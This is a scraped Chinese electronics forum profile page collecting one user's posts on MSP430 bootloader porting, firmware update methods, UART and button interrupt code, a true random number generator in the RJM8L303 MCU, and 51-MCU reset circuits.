4 写入CRC校验地址信息 通过上步我们在主控MSP430G2553中添加了需要升级的应用程序,同时我们还要在主MCU中修改目标升级芯片(MSP430G2755)的CRC地址信息,修改参考如下, 图七 MSP430G2553添加CRC地址信息          注意此时已经不再需要MSPBoot用户指导手册中的CRC生成工具,进行CRC的校验,我们看到其实直接在主MCU中计算了CRC校验,并且把CRC的值放到指定的位置。 图八 MSP430G2553 计算CRC数值 5 修改MSP430G2755应用程序 在这测试了将之前MSP430G2553默认的P1.1和P1.2口UART,修改为MSP430G2755硬件P3.4和P3.5口UART接收数据的接口。实际的参考代码如下, 图九 MSP430G2755 UART口修改 特别注意,在MSP430G2755应用程序App中,有两个中断默认使用即P1口和定时器中断,不能直接将P1口和Timer的中断直接屏蔽掉,这样会导致Host主控MSP430G2553升级MSP430G2553成功后,MSP430G2553并未正常的启动应用程序。如果在应用程序中不需要这两个中断向量,则在第一步产生CMD文件的过程中需要修改<6> = Size of shared vectors 这个参数。

  • 发表了主题帖: 低功耗MCU RJM8L303的真随机数发生器设计原理和使用方法

    1、RJM8L303芯片简介 RJM8L303是武汉瑞纳捷电子技术有限公司推出的一款采用增强型80C51内核,拥有8KB SRAM和128KB Flash存储容量的低功耗安全MCU芯片。它具有快速中断响应,休眠和深度休眠模式。 芯片支持UART、SPI、I2C、GPIO、ISO7816、JTAG等数字通信接口;还支持13.56MHz无线接口,符合IOS14443 typeA标准,能实现无线数据传输。芯片内置DES、3DES、国密SM4等三种加密算法,以及频率安全探测器,用以保证芯片在非正常工作条件下的操作安全和数据安全。 另外,为了满足某些应用中安全交易流程的需要,芯片还内嵌了一个8位随机数发生器。该随机数发生器是采用数字振荡环方式设计的真随机数发生器,符合国家密码安全管理局《随机性检测规范》的相关要求,通过了随机数测试国际标准 FIPS 140-2和NIST SP800-22标准测试。 2、真随机数发生器的设计原理 我们知道,数字电路中的时钟信号总会存在抖动现象,它是指在芯片的某一个给定点上时钟周期发生的暂时变化,即时钟周期在每个不同的周期上可以缩短或加长。抖动可以用许多方法来衡量和表征,它是一个平均值为零的随机变量。除了时钟抖动以外,两个独立时钟之间的相位漂移也具有随机的特性。因而抖动信号和相位漂移适合于在数字电路中作为真随机数发生器的噪声源。   图1. 时钟抖动的定义 图1中用实线描绘的是严格的周期性信号的波形,每个沿的起始点在时间轴上间隔相等;虚线代表的就是实际的近似周期性信号,其周期有微小的变化。我们可以看到相应沿的起始点偏离了理想位置。此时称后者的波形有抖动。不同的有效瞬间(时间轴上有间隔的不同位置),抖动的幅度是不同的。   图2. 基于振荡器采样的真随机数发生器原理 图2中带有抖动的低频振荡器通过D触发器采样一个高频振荡器,输出序列X。由于低频振荡器的抖动是不确定的,并且其抖动范围远远大于高频振荡器的周期,因此输出0和times New Roman">1的概率基本相等,从而输出的序列X是随机的。 高频振荡器采用数字振荡环方式设计,其电路结构如下图3所示。在数字逻辑内部,当2N+1个反相器组成一个闭合的环路时,可以得到一个高频的振荡时钟。由于反相器的时间延迟是皮秒量级,因此反相器振荡环的振荡频率高于GHz。该振荡时钟的周期与门延时以及反相器的个数有关,而与外部信号无关。该方法利用了振荡器的频率不稳定性,使得其电路相对简单,占芯片面积小,功耗也小,鲁棒性好,对外界或是内部的干扰不敏感。   图3. 三个反相器构成的高频振荡电路 如果将相同长度的两组振荡环的输出相异或就可以得到一组由随机信号构成的新波形,该波形包含了两条振荡环之间的时钟抖动以及相位偏移。若将多组振荡环信号相异或时,可以从输出获取更多的随机信息。 低频振荡器采用RC振荡电路设计。RC振荡电路是指用电阻R、电容C组成选频网络的振荡电路,一般用来产生低频振荡信号。输出序列X的随机性能取决于低频振荡器抖动的范围及其分布。 3、本芯片随机数发生器的使用方法 (1)配置控制寄存器DTRNGCON0 *设置model_sel信号为0或1,选择RNG工作于mode0或mode1模式; *设置trng_start信号为1,启动RNG模块工作; (2)查询状态寄存器DTRNGSTS0 *等待trng_sts信号为1; (3)读取数据寄存器DTRNGDAT0~ DTRNGDAT3,读出32位随机数; (4)循环步骤(2)和(3),可多次获

  • 发表了主题帖: MSP430串口在接收到电脑发送数据

    #include &quot;driverlib.h&quot; //#include &quot;Board.h&quot; uint16_t i; uint8_t RXData = 0, TXData = 0; uint8_t check = 0; void main(void) {     //Stop Watchdog Timer     WDT_A_hold(WDT_A_BASE);     //Set ACLK = REFOCLK with clock divider of 1     CS_initClockSignal(CS_ACLK,CS_REFOCLK_SELECT,CS_CLOCK_DIVIDER_1);     //Set SMCLK = DCO with frequency divider of 1     CS_initClockSignal(CS_SMCLK,CS_DCOCLKDIV_SELECT,CS_CLOCK_DIVIDER_1);     //Set MCLK = DCO with frequency divider of 1     CS_initClockSignal(CS_MCLK,CS_DCOCLKDIV_SELECT,CS_CLOCK_DIVIDER_1);     //Configure UART pins     GPIO_setAsPeripheralModuleFunctionInputPin(         GPIO_PORT_P1,         GPIO_PIN6 + GPIO_PIN7,         GPIO_PRIMARY_MODULE_FUNCTION         );     /*      * Disable the GPIO power-on default high-impedance mode to activate      * previously configured port settings      */     PMM_unlockLPM5();     //Configure UART     //SMCLK = 1MHz, Baudrate =9600     //UCBRx =6, UCBRFx = 8, UCBRSx = 17, UCOS16 = 1     EUSCI_A_UART_initParam param = {0};     param.selectClockSource = EUSCI_A_UART_CLOCKSOURCE_SMCLK;     param.clockPrescalar = 6;     param.firstModReg = 8;     param.secondModReg = 17;     param.parity = EUSCI_A_UART_NO_PARITY;     param.msborLsbFirst = EUSCI_A_UART_LSB_FIRST;     param.numberofStopBits = EUSCI_A_UART_ONE_STOP_BIT;     param.uartMode = EUSCI_A_UART_MODE;     param.overSampling = EUSCI_A_UART_OVERSAMPLING_BAUDRATE_GENERATION;     if (STATUS_FAIL == EUSCI_A_UART_init(EUSCI_A0_BASE, &amp;param)) {         return;     }     EUSCI_A_UART_enable(EUSCI_A0_BASE);     EUSCI_A_UART_clearInterrupt(EUSCI_A0_BASE,         EUSCI_A_UART_RECEIVE_INTERRUPT);     // Enable USCI_A0 RX interrupt     EUSCI_A_UART_enableInterrupt(EUSCI_A0_BASE,         EUSCI_A_UART_RECEIVE_INTERRUPT);     // Enable global interrupts     __enable_interrupt();     EUSCI_A_UART_transmitData(EUSCI_A0_BASE, TXData);     while (1)     { //         Increment TX data         TXData = TXData+1; //         Load data onto buffer         EUSCI_A_UART_transmitData(EUSCI_A0_BASE, TXData);         while(check != 1);         check = 0;     } } //****************************************************************************** // //This is the USCI_A0 interrupt vector service routine. // //****************************************************************************** #if defined(__TI_COMPILER_VERSION__) || defined(__IAR_SYSTEMS_ICC__) #pragma vector=USCI_A0_VECTOR __interrupt #elif defined(__GNUC__) __attribute__((interrupt(USCI_A0_VECTOR))) #endif void EUSCI_A0_ISR(void) {     switch(__even_in_range(UCA0IV,USCI_UART_UCTXCPTIFG))     {         case USCI_NONE: break;         case USCI_UART_UCRXIFG:       RXData = EUSCI_A_UART_receiveData(EUSCI_A0_BASE);             EUSCI_A_UART_transmitData(EUSCI_A0_BASE, RXData);             // Check value             if(!(RXData == TXData))             {                 while(1);             }             check =1;          //   UCA0IFG = 0;             break;        case USCI_UART_UCTXIFG: break;        case USCI_UART_UCSTTIFG: break;        case USCI_UART_UCTXCPTIFG: break;     } }

  • 2019-06-11
  • 发表了主题帖: msp430按键控制LED灯

    #include "io430.h" /*        按键控制lLED灯的亮灭,有两种方法.        方法一:中断功能.                          方法二:利用 if(P4IN&BIT2)判断即可.        写代码时,尽量按照步骤来,避免因疏忽而浪费大量时间找bug. */ int main( void ) {   // Stop watchdog timer to prevent time out reset   WDTCTL = WDTPW + WDTHOLD;   P4DIR |= BIT5;   P4REN |= BIT2;   P4OUT |= BIT2;   P4IES |= BIT2;   P4IFG &= ~BIT2;   P4IE |= BIT2;      __bis_SR_register(LPM4_bits+GIE);      return 0; }  #pragma vector=PORT4_VECTOR  __interrupt void Port_4(void) {   //P4OUT &= ~BIT5;  //灭了就不能再亮了.   P4OUT ^= BIT5;    //亮灭循环   P4IFG &= ~BIT2; }

  • 发表了主题帖: 基于MSP430F5529按键的长按与短按

    长按与短按的区别只是加上一个适当的延时然后再去判断引脚状态。 定义: #define KEYDIR P2DIR #define KEYIN P2IN #define KEYIFG P2IFG #define KEYIE P2IE #define KEYIES P2IES #define KEYREN P2REN #define S1 BIT0 extern unsigned char key_key; 在中断中处理长按与短按: #pragma vector=PORT2_VECTOR  //声明中断向量地址 __interrupt void GPIOIntHandler(void) { unsigned int IntState,vextend,cv; unsigned long i; IntState=KEYIFG; if (IntState & S1) //按键按下时 { vextend=0; cv=0; //长按标志位清零 while (KEYIN& S1==S1) //按键处于按下状态则一直循环 { for(i=1000;i>0;i--); //适当的延时 vextend++; //计数值加1 if(vextend==2500) //如果计数值等于2500,则说明处于长按状态(此处时间可以根据自己的需求进行设定) { vextend=0; //计数值清零 while(KEYIN& S1==S1)//按键依然处于按下状态 { //进入长按状态处理 if(key_key==99) key_key=0; else key_key++; LCD_ShowNum(0,0,key_key,3); for(i=2000000;i>0;i--);//适当的延时为了不让显示过快的变化 cv=1; //长按状态的标志置1(表示进入过长按处理程序) } } } if(cv==0)//长按状态的标志为0时 { if(key_key==99) key_key=0; else key_key++; LCD_ShowNum(0,0,key_key,3); } } KEYIFG &=~(S1);//中断标志位清零 }  

  • 发表了主题帖: MSP430G2755 Main Bootloader UART 移植指导

           TI 的MSP430支持在主程序中加载Bootloader的方式进行在线升级操作,通过在线升级功能,客户可以通过外部处理器随时更新MSP430内部的程序及Bug 的远程修复。同时TI也提供了基于MSP430G2553的参考代码,本文详细的介绍了如何将MSP430G2553的Bootloader移植到MSP430G2755中,使用MSP 430G2553 Host对MSP430G2755 Device进行的升级操作。 本文基于MS430G2755为目标升级对象,详细讲述BootLoader的使用方法,并给出了具体的移植步骤。 Figure1为MSPBoot软件框架,本文的分析都是基于这个典型软件框架。 Figure1. MSPBoot软件框架路 1. MSP430 Main Memory Bootloader 介绍       在MSP430G2xx 中实际上具有一个ROM版本的BSL(Bootloader) ,但是这个BSL仅仅支持外部MCU通过UART进行在线升级,而且而且所有的协议全部固化,无法进行修改或者更改其他接口方式进行升级操作。所以这个需要一个可以在主程序中运行的Bootloader,可以让外部MCU进行用户自定义的升级操作。同时TI也提供了一个基于MSP430G2553的参考例程,可以通过如下链接进行下载。http://software-dl.ti.com/msp430/msp430_public_sw/mcu/msp430/MSPBoot/latest/index_FDS.html 本文使用的参考代码版本为MSPBoot_1_01_00_00。 2.MSPBoot的代码移植流程 2.1 MS430G2755 CMD 文件的产生       首先用Per工具产生CMD文件(Generating Linker Files), 通过Per的工具会产生两个CMD文件,其中一个给MSP430G2755的Bootloader使用,另一个给MSP430G2755的应用程序使用。操作指令如下:  这里面有几个重要的参数说明如下,  <0x8000 > = Start address of Flash/FRAM  对于MSP430G2553 地址为0xC000 , 而MSP430G2755的地址需要修改为0x8000  <0xFFE0 > = Address of interrupt vector table  中断向量表的地址0xFFE0, 对于MSP430G2553和MSP430G2755相同  <0xFC00> = Start address of Bootloader  Bootloader的起始地址0xFC00,对于两者也是相同的  <48 > =Size of the proxy table  这里的48对应于12个中断向量,每个中断向量占用4Byte  <6> = Size of shared vectors  在应用程序中一共有3个(P1/Time/Dummy)中断向量,每个中断向量占用2Byte, 对应参数为6  <0x1100> = Start address of RAM  RAM的起始地址也需要修改为MSP430G2755的0x1100  <0x20FF > = End address of RAM  RAM的结束地址也需要修改为MSP430G2755的0x20FF  <0x80> = Size of the stack  MSP430G2755默认的堆栈大小为0x80  <0x1000> = Start address of info memory used for bootloader  Information的起始和结束地址MSP430G2553和MSP430G2755一致,无需修改  <0x10BF > = End address of info memory used for bootloader  Information的起始和结束地址MSP430G2553和MSP430G2755一致,无需修改  注意如上修改的参数6,及中断向量的数量,在Bootloader中的中断向量不需要修改,只修改MSP430G2755应用程序App中的中断向量即可,通过下图可以直观看到中断向量的在Bin文件中的分布。 Figure1.MSP430G2755中断向量 Figure2. MSP430G2755 Bin文件对应虚拟中断向量表        注意在这里的809C 和80E2 就对应MSP430G2755应用程序中的P1_Isr 和Timer_A,GPIO中断和定时器中断。下图会看到在MSP430G2755 Bootloader中虚拟中断向量表的分布。 Figure3.MSP430G2755 Bootloader虚拟中断向量表  2.2工程CMD文件添加到工程中         将2.1步骤中产生的CMD文件,分别添加到MSP430G2755的Bootloader及应用程序App的工程中,如下图所示:  Figure4.MSP540G2755 CMD文件 2.3应用程序txt转化c文件         通过CCS编译器,编译MSP430G2755的应用程序,编译完成后会产生一个txt文件下载格式,我们需要将这个产生的txt文件转换为.c文件,这个.c文件才能给主控MCU使用,通过Bootloader下载到MSP430G2755中。转化运行指令如下: 通过这步将生成的.c文件,添加到主MCU中的main函数文件路径中,在这里我们测试的主控MCU是MSP430G2553,添加后的程序如下图所示: Figure5.Host MCU添加升级程序  2.4写入CRC校验地址信息 通过上步我们在主控MSP430G2553中添加了需要升级的应用程序,同时我们还要在主MCU中修改目标升级芯片(MSP430G2755)的CRC地址信息,修改参考如下, Figure6. MSP430G2553添加CRC地址信息  注意此时已经不再需要MSPBoot用户指导手册中的CRC生成工具,进行CRC的校验,我们看到其实直接在主MCU中计算了CRC校验,并且把CRC的值放到指定的位置。 Figure7. MSP430G2553 计算CRC数值  2.5修改MSP430G2755应用程序 在这测试了将之前MSP430G2553默认的P1.1和P1.2口UART,修改为MSP430G2755硬件P3.4和P3.5口UART接收数据的接口。实际的参考代码如下:   Figure8. MSP430G2755 UART口修改 特别注意,在MSP430G2755应用程序App中,有两个中断默认使用即P1口和定时器中断,不能直接将P1口和Timer的中断直接屏蔽掉,这样会导致Host主控MSP430G2553升级MSP430G2553成功后,MSP430G2553并未正常的启动应用程序。如果在应用程序中不需要这两个中断向量,则在第一步产生CMD文件的过程中需要修改<6> = Size of shared vectors 这个参数。   3.小结  本文总结了通过以上步骤我们完成了从MSP430G2553到MSP430G2755 Bootloader的移植,那我们总结MSP430G2755 Bootloader和应用程序App的整个程序架构,分析如下:  我们通过工具读取了主程序移植了BootLoader的MSP430G2755的总代码,其中MSP430G2755存储Flash地址分析如下  从0x8000-0x8100为应用程序  从0xFBC0-0xFBF0 为虚拟的中断向量表  从0xFC00-0xFFD0 为Bootloder  从0xFFE0-0xFFF0 为真实的中断向量表   参考文献  MSP430G2755 MSP430G2x55 混合信号微控制器数据手册  MSP430G2553 MSP430G2x53混合信号微控制器数据手册  MSP430x2xx Family User's Guide. (SLAU144J)  MSPBoot – Main Memory Bootloader for MSP430 Microcontrollers. (SLAA600B)  MSP430™ Flash Device Bootloader (BSL). (SLAU319M)

  • 2019-06-09
  • 发表了主题帖: 单片机复位电路的基本知识解析

    以下是自己关于单片机复位电路的一些认识:   1、单片机为什么要复位?   使单片机回复初始状态,从PC指针的0地址开始执行程序2、如何复位单片机?(怎样操作确保单片机复位)要求:51单片机要复位只需要在第9引脚接个高电平持续2个机器周期 (2*12=24个时钟周期)就可以实现;即在2个机器周期内将单片机锁定在 复位状态 。(因为两个机器周期单片机才能执行完复位命令)3、上电后就立即复位吗?(即上电和复位时同时的吗)3.1、复位具体是怎么执行的?   复位的2个前提是:1)CPU正常工作 [要知道复位命令的的执行是需要CPU执行的] 而CPU正常工作需要(a:VCC电源稳定 b:晶振起振)   2) CPU检测到复位信号(即RST引脚为高电平)3.2:晶振起振&电源稳定 是需要时间的,因此上电后并不是立即复位,但可以肯定的是(复位信号确实上电就有,并且是一个回落的过程,有5V到1.5V,持续约0.1s的高电平);但单有复位信号也没用,要执行复位操作       还需等待3.1中的的第一个条件实现,CPU不正常工作是执行不了复位命令的而(上电时,Vcc的上升时间约为10ms,而振荡器的起振时间取决于振荡频率,如晶振频率为10MHz,起振时间为1ms;晶振频率为1MHz,起振时间则为10ms);综上可知单片机RST复位信号的持续时间(约0.1s)是远远长于必要的复位的2个机器周期的(去除上电前的10几ms的等待时间,其余时间 0.1s-10ms 单片机都被锁定在复位状态,单片机一直执行复位命令) ,这样也确保单片机能可靠的实现复位操作单片机复位电路的基本知识解析   4、复位的2个机器周期内单片机做了些什么?   主要做的就是初始化每个寄存器,包括最重要的PC指针,不包括RAM,然后单片机从复位地址开始执行程序。   5、复位过程分析   开机的时候为什么会复位   在电路图中,电容的的大小是10uf,电阻的大小是10k。所以根据公式,可以算出电容充电到电源电压的0.7倍(单片机的电源是5V,所以充电到0.7倍即为3.5V),需要的时间是10K*10UF=0.1S。也就是说在电脑启动的0.1S内,电容两端的电压时在0~3.5V增加。这个时候10K电阻两端的电压为从5~1.5V减少(串联电路各处电压之和为总电压)。所以在0.1S内,RST引脚所接收到的电压是5V~1.5V。在5V正常工作的51单片机中小于1.5V的电压信号为低电平信号,而大于1.5V的电压信号为高电平信号。所以在开机0.1S内,单片机系统自动复位(RST引脚接收到的高电平信号时间持续0.1S左右)。   按键按下的时候为什么会复位   在单片机启动0.1S后,电容C两端的电压持续充电为5V,这是时候10K电阻两端的电压接近于0V,RST处于低电平所以系统正常工作。当按键按下的时候,开关导通,这个时候电容两端形成了一个回路,电容被短路,所以在按键按下的这个过程中,电容开始释放之前充的电量。随着时间的推移,电容的电压在0.1S内,从5V释放到变为了1.5V,甚至更小。根据串联电路电压为各处之和,这个时候10K电阻两端的电压为3.5V,甚至更大,所以RST引脚又接收到高电平。单片机系统自动复位。

  • 发表了主题帖: msp430单片机程序升级的方法有哪些

    在搞430的FLASH的自定义法(利用串口)程序烧写,烧写完成后断电复位,reset按键就可以运行新的程序。但是和学长交流了一下,这种方法不够好,希望有一种软复位的方式。于是百度了一下,都是些对看门狗进行写入特殊值使得430的cpu复位。反正个人是没有采用。      因为在搞程序的烧写下载,所以看了一下430的BSL。看到里面有一段话,关于从C代码中启动BSL的方法。如下:   从一个外部应用中启动BSL   将程序计数器设定到内存为位置0x1000 来启动BSL。堆栈一直被复位,而RAM 被清空。应该注意的是,GIE 位未被禁用,所以如果不需要中断的话,这一步应该通过调用应用来完成,并且如果它们被使用的话,这一步应该从“返回BSL”返回。   由于堆栈被复位,位置0x1000 也可以被作为一个C 功能进行调用,示例代码如下:   ((void (*)())0x1000)()   于是想到,既然可以从C里面跳转到0x1000,那么也可以跳转到其他地址,比如复位地址了。   以6638为例。430的复位中断矢量地址是0xFFFE,里面存储了将要跳转的物理地址。6638的代码区起始地址是0x8000,正常复位是先进入复位中断,然后PC指针导入地址0x8000,然后从0x8000开始执行代码。那么软复位则是,执行((void (*)())0x8000)(),直接PC指针被导入0x8000的地址,而这个地址正好是6638的代码区起始地址,于是软复位了。个人分析一下这个指令,如有错误敬请大神们指正。   从代码上讲,(void (*)()是一个指向空函数的指针,((void (*)())0x8000)()是将0x8000强制转换为函数指针后进行函数调用,于是0x8000便被送入了PC指针。   对于其他的430单片,去查其数据手册FLASH段,弄清其代码区的开始地址,也可以用这个方法软复位了。   实测,IAR,CCS下编译、实践通过。

统计信息

已有1216人来访过

  • 芯币:8864
  • 好友:--
  • 主题:2136
  • 回复:695
  • 课时:--
  • 资源:19

留言

你需要登录后才可以留言 登录 | 注册


博浩元电子 2018-10-25
不错,干货
查看全部